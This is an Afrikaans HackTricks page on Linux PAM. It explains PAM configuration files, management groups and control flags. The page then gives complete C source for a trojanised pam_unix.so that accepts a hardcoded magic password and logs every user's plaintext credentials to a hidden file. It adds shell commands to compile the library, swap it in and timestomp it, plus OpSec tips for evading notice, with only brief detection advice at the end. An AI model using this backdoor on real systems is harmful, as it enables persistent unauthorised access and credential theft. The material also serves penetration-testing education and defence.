hacktricks/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md

109 lines
5.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PAM - Pluggable Authentication Modules
{{#include ../../banners/hacktricks-training.md}}
### Basiese Inligting
**PAM (Pluggable Authentication Modules)** dien as 'n sekuriteitsmeganisme wat **die identiteit van gebruikers wat probeer om toegang tot rekenaar dienste te verkry, verifieer**, en hul toegang beheer op grond van verskeie kriteria. Dit is soortgelyk aan 'n digitale wag, wat verseker dat slegs gemagtigde gebruikers met spesifieke dienste kan omgaan terwyl dit moontlik hul gebruik beperk om stelseloorlaai te voorkom.
#### Konfigurasie Lêers
- **Solaris en UNIX-gebaseerde stelsels** gebruik tipies 'n sentrale konfigurasielêer geleë by `/etc/pam.conf`.
- **Linux stelsels** verkies 'n gidsbenadering, wat diens-spesifieke konfigurasies stoor binne `/etc/pam.d`. Byvoorbeeld, die konfigurasielêer vir die aanmelddiens is te vind by `/etc/pam.d/login`.
'n Voorbeeld van 'n PAM-konfigurasie vir die aanmelddiens mag soos volg lyk:
```
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
```
#### **PAM Bestuur Ranges**
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die outentikasie en sessiebestuur proses:
- **Auth**: Valideer gebruikersidentiteit, dikwels deur vir 'n wagwoord te vra.
- **Account**: Hanteer rekeningverifikasie, wat toestande soos groeplidmaatskap of tydsbeperkings nagaan.
- **Password**: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
- **Session**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos om gidse te monteer of hulpbronlimiete te stel.
#### **PAM Module Beheer**
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele outentikasieproses beïnvloed. Hierdie sluit in:
- **Required**: Mislukking van 'n vereiste module lei tot uiteindelike mislukking, maar slegs nadat alle daaropvolgende modules nagegaan is.
- **Requisite**: Onmiddellike beëindiging van die proses by mislukking.
- **Sufficient**: Sukses omseil die res van die kontrole van dieselfde reeks tensy 'n daaropvolgende module misluk.
- **Optional**: Lei slegs tot mislukking as dit die enigste module in die stapel is.
#### Voorbeeld Scenario
In 'n opstelling met meerdere auth modules volg die proses 'n streng volgorde. As die `pam_securetty` module die aanmeldterminal as nie-geautoriseer vind, word root aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te outentiseer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in outentikasie metodes verbeter.
## Backdooring PAM Hooking `pam_unix.so`
'n Klassieke volhardingstrik in hoëwaarde Linux omgewings is om die **legitieme PAM biblioteek met 'n trojaniseerde drop-in te vervang**. Omdat elke SSH / konsole aanmelding uiteindelik `pam_unix.so:pam_sm_authenticate()` aanroep, is 'n paar lyne C genoeg om akrediteer te vang of 'n *magic* wagwoord omseiling te implementeer.
### Kompilasie Cheatsheet
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
Compile en stealth-vervang:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Wenke
1. **Atomiese oorskrywing** skryf na 'n tydelike lêer en `mv` dit in plek om half-geskrewe biblioteke te vermy wat SSH sou vergrendel.
2. Log lêer plasing soos `/usr/bin/.dbus.log` meng met legitieme lessenaar artefakte.
3. Hou simbool uitvoer identies (`pam_sm_setcred`, ens.) om PAM misgedrag te vermy.
### Opsporing
* Vergelyk MD5/SHA256 van `pam_unix.so` teen distro pakket.
* Kontroleer vir wêreld-skryfbare of ongewone eienaarskap onder `/lib/security/`.
* `auditd` reël: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### Verwysings
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltratie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}